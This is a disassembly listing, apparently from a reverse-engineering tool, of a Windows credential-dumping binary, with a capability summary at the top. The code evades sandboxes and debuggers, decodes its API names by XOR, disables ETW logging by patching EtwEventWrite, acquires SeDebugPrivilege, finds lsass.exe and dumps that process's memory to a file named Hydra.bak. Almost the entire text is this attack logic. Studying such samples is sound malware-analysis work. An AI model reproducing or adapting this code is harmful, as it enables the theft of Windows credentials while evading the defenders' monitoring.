Function at 0x140001070
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Link many functions at runtime
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x290], rax
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rbp - 0x58]
shr rax, 0x14
cmp eax, 0x1000
jge 0x1400010d4
lea rcx, str.VM_or_Sandbox_Detected._n
call fcn.140001010
call sub.api_ms_win_crt_conio_l1_1_0.dll__getch
xor eax, eax
jmp 0x14000166b
mov qword [rsp + 0x3d0], rbx
lea rcx, str.___Running..._n
mov qword [rsp + 0x3d8], rsi
mov qword [rsp + 0x3e0], rdi
mov qword [rsp + 0x3b8], r12
mov qword [rsp + 0x3a8], r14
mov qword [rsp + 0x3a0], r15
call fcn.140001010
xor r8d, r8d
lea rcx, str.jhl46745fghb
xor edx, edx
call qword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
test eax, eax
je 0x140001143
lea rcx, str.___Nope._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, str.___Boom__n
call fcn.140001010
mov r12d, dword [0x140003318]
mov ecx, dword [0x140003328]
movsd xmm0, qword [str.MySecretKey]
movzx eax, byte [0x14000332c]
mov r14d, dword [0x140003338]
mov r15d, dword [0x140003348]
movsd qword [rbp + 0x250], xmm0
movzx esi, byte [rbp + 0x250]
movzx r11d, byte [rbp + 0x253]
movzx r10d, byte [rbp + 0x254]
movzx r9d, byte [rbp + 0x255]
movzx r8d, byte [rbp + 0x256]
movzx edx, byte [rbp + 0x257]
movsd xmm0, qword [0x140003320]
movzx edi, byte [rbp + 0x251]
movzx ebx, byte [rbp + 0x252]
movsd qword [rbp + 0x260], xmm0
movsd xmm0, qword [0x140003330]
xor byte [rbp + 0x260], sil
xor byte [rbp + 0x261], dil
xor byte [rbp + 0x262], bl
xor byte [rbp + 0x263], r11b
xor byte [rbp + 0x264], r10b
xor byte [rbp + 0x265], r9b
xor byte [rbp + 0x266], r8b
xor byte [rbp + 0x267], dl
movsd qword [rbp + 0x270], xmm0
movsd xmm0, qword [str._e4_r]
xor byte [rbp + 0x270], sil
xor byte [rbp + 0x271], dil
xor byte [rbp + 0x272], bl
xor byte [rbp + 0x273], r11b
xor byte [rbp + 0x274], r10b
xor byte [rbp + 0x275], r9b
xor byte [rbp + 0x276], r8b
xor byte [rbp + 0x277], dl
movsd qword [rbp + 0x280], xmm0
xor byte [rbp + 0x280], sil
xor byte [rbp + 0x281], dil
xor byte [rbp + 0x282], bl
xor byte [rbp + 0x283], r11b
xor byte [rbp + 0x284], r10b
xor byte [rbp + 0x285], r9b
xor byte [rbp + 0x286], r8b
xor byte [rbp + 0x287], dl
mov dword [rbp + 0x268], ecx
xor cl, r12b
xor byte [rbp + 0x26b], sil
mov dword [rbp + 0x278], r14d
xor r14b, r12b
xor byte [rbp + 0x27b], sil
mov dword [rbp + 0x288], r15d
xor r15b, r12b
mov byte [rbp + 0x26c], al
movzx eax, byte [0x14000333c]
mov byte [rbp + 0x268], cl
mov dword [rbp + 0x258], r12d
movzx ecx, byte [rbp + 0x259]
xor byte [rbp + 0x269], cl
xor byte [rbp + 0x279], cl
xor byte [rbp + 0x289], cl
lea rcx, [rbp + 0x260]
mov byte [rbp + 0x27c], al
movzx eax, byte [rbp + 0x25a]
xor byte [rbp + 0x26a], al
xor byte [rbp + 0x27a], al
xor byte [rbp + 0x28a], al
mov byte [rbp + 0x278], r14b
mov byte [rbp + 0x288], r15b
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [rbp + 0x270]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [rbp + 0x280]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rbx, rbx
je 0x140001908
test rdi, rdi
je 0x140001908
test rax, rax
je 0x140001908
lea rdx, [0x140003398]
mov qword [rsp + 0x3b0], r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.OpenProcessToken
mov rcx, rdi
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LookupPrivilegeValueW
mov rcx, rdi
mov rsi, rax
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.AdjustTokenPrivileges
mov rcx, rdi
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.OpenProcess
mov rcx, rbx
mov rdi, rax
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateFileW
mov rcx, rbx
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.MiniDumpWriteDump
mov rcx, r14
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateToolhelp32Snapshot
mov rcx, rbx
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32FirstW
mov rcx, rbx
mov r14, rax
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32NextW
mov rcx, rbx
mov r15, rax
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rsp + 0x40], 0
mov r12, rax
je 0x1400018fc
test rsi, rsi
je 0x1400018fc
test r13, r13
je 0x1400018fc
test rdi, rdi
je 0x1400018fc
cmp qword [rsp + 0x48], 0
je 0x1400018fc
cmp qword [rsp + 0x50], 0
je 0x1400018fc
cmp qword [rsp + 0x58], 0
je 0x1400018fc
test r14, r14
je 0x1400018fc
test r15, r15
je 0x1400018fc
test rax, rax
je 0x1400018fc
mov r15d, dword [0x140003318]
movsd xmm0, qword [str.MySecretKey]
movzx r11d, word [0x140003358]
mov esi, dword [0x140003368]
movzx r14d, word [0x14000336c]
movsd qword [rbp - 0x80], xmm0
movzx eax, byte [rbp - 0x79]
movzx edi, byte [rbp - 0x7f]
movzx ecx, byte [rbp - 0x7a]
movzx ebx, byte [rbp - 0x80]
movsd xmm0, qword [str._r7_t]
movzx r10d, byte [rbp - 0x7e]
movzx r9d, byte [rbp - 0x7d]
movzx r8d, byte [rbp - 0x7c]
movzx edx, byte [rbp - 0x7b]
movsd qword [rbp + 0x250], xmm0
xor byte [rbp + 0x257], al
movsd xmm0, qword [str._b_r_]
xor byte [rbp + 0x256], cl
xor byte [rbp + 0x250], bl
xor byte [rbp + 0x251], dil
xor byte [rbp + 0x252], r10b
xor byte [rbp + 0x253], r9b
xor byte [rbp + 0x254], r8b
xor byte [rbp + 0x255], dl
movsd qword [rbp - 0x70], xmm0
xor byte [rbp - 0x69], al
xor byte [rbp - 0x6a], cl
lea rcx, [rbp + 0x250]
xor byte [rbp - 0x70], bl
xor byte [rbp - 0x6f], dil
xor byte [rbp - 0x6e], r10b
xor byte [rbp - 0x6d], r9b
xor byte [rbp - 0x6c], r8b
xor byte [rbp - 0x6b], dl
mov dword [rbp - 0x68], esi
xor sil, r15b
xor byte [rbp - 0x65], bl
mov dword [rbp - 0x78], r15d
movzx eax, byte [rbp - 0x77]
xor byte [rbp - 0x67], al
movzx eax, byte [rbp - 0x76]
xor byte [rbp - 0x66], al
mov word [rbp + 0x258], r11w
xor r11b, r15b
mov word [rbp - 0x64], r14w
xor r14b, dil
mov byte [rbp + 0x258], r11b
mov byte [rbp - 0x68], sil
mov byte [rbp - 0x64], r14b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14000160e
lea rdx, [rbp - 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001605
lea r9, [rbp - 0x80]
mov edx, 1
mov r8d, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rbx], 0xc3
lea r9, [rbp - 0x80]
mov r8d, dword [rbp - 0x80]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ETW_patched_successfully_n
jmp 0x140001615
lea rcx, str.Failed_to_get_address_for_EtwEventWrite_n
jmp 0x140001615
lea rcx, str.Failed_to_load_ntdll.dll_n
call fcn.140001010
call qword [rsp + 0x40]
test eax, eax
je 0x140001683
lea rcx, str.Debugger_detected_n
call fcn.140001010
mov eax, 1
mov r13, qword [rsp + 0x3b0]
mov r14, qword [rsp + 0x3a8]
mov r12, qword [rsp + 0x3b8]
mov rdi, qword [rsp + 0x3e0]
mov rsi, qword [rsp + 0x3d8]
mov rbx, qword [rsp + 0x3d0]
mov r15, qword [rsp + 0x3a0]
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.140001930
add rsp, 0x3c0
pop rbp
ret
lea rcx, str.No_debugger_detected_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x80]
mov edx, 0x28
mov rcx, rax
call qword [rsp + 0x60]
test eax, eax
jne 0x1400016b5
lea rcx, str.Could_not_get_process_token_n
jmp 0x140001629
lea r8, [rbp - 0x6c]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call r13
test eax, eax
jne 0x1400016e4
lea rcx, str.Could_not_find_SeDebugPrivilege_n
call fcn.140001010
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000162e
mov rcx, qword [rbp - 0x80]
lea r8, [rbp - 0x70]
xor ebx, ebx
mov dword [rbp - 0x70], 1
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rbp - 0x64], 2
call qword [rsp + 0x68]
test eax, eax
jne 0x140001736
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_elevate_token_privileges._Error_code:__lu_n
call fcn.140001010
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000162e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x14000175e
lea rcx, str.The_token_does_not_have_the_specified_privilege._SeDebugPrivilege_was_not_assigned._n
call fcn.140001010
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000162e
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
mov r14d, ebx
call qword [rsp + 0x70]
mov dword [rbp + 0x10], 0x238
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400017e3
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [rsp + 0x78]
test eax, eax
je 0x1400017e3
lea rsi, str.lsass.exe
nop dword [rax]
lea rdx, [rbp + 0x3c]
mov rax, rbx
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
jne 0x1400017fd
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x1400017fd
add rax, 2
cmp rax, 0xa
jne 0x1400017b0
mov r14d, dword [rbp + 0x18]
mov edx, r14d
lea rcx, str.LSASS_pid___lu_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
jne 0x14000180d
lea rcx, str.Could_not_find_lsass.exe._n
jmp 0x140001629
lea rdx, [rbp + 0x10]
mov rcx, rdi
call r12
test eax, eax
jne 0x1400017a0
jmp 0x1400017d4
mov r8d, r14d
xor edx, edx
mov ecx, 0x438
call qword [rsp + 0x48]
mov rdi, rax
test rax, rax
jne 0x14000183c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_lsass_process._Error_code:__lu_n
call fcn.140001010
jmp 0x14000162e
mov qword [rsp + 0x30], rbx
lea rcx, str.Hydra.bak
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [rsp + 0x50]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001892
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_dump_file._Error_code:__lu_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000162e
mov qword [rsp + 0x30], rbx
mov r9d, 2
mov qword [rsp + 0x28], rbx
mov r8, rsi
mov edx, r14d
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [rsp + 0x58]
mov r14d, eax
test eax, eax
je 0x1400018c9
lea rcx, str.Dumped_lsass_to_lsass.dmp_n
call fcn.140001010
jmp 0x1400018dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_dump_lsass._Error_code:__lu_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
sete bl
mov eax, ebx
jmp 0x140001633
lea rcx, str.Failed_to_get_function_addresses_n
jmp 0x140001629
lea rcx, str.Failed_to_load_necessary_modules_n
call fcn.140001010
mov eax, 1
jmp 0x14000163b